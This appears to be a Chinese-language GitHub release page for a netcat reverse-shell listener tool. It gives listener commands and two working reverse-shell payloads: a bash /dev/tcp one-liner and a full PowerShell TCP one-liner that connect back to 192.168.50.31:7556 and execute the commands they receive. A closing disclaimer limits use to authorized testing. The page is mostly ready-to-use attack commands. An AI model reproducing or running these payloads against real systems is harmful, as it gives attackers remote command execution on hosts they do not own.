Skip to content

全平台NC反弹Shell监听器 20260607

Choose a tag to compare

@0x7556 0x7556 released this 02 Jun 15:42
· 3 commits to main since this release
9cea3b6

VPS正常NC监听

默认监听端口

直接运行 7556端口

Win VPS监听指定端口

nc.exe 4444

Linux VPS监听指定端口

./nc.lnx 4444

监听指定端口

nc.exe 4444
./nc.lnx 4444

被控端反弹Shell

Linux反弹shell

bash -i >& /dev/tcp/192.168.50.31/7556 0>&1

Windows反弹shell

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.50.31',7556);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

免责声明

  • 使用本工具,请遵循相关法律法规,确保在授权的环境中进行测试和使用。
  • 本工具仅供教育和研究目的,任何滥用行为将由用户自行承担后果。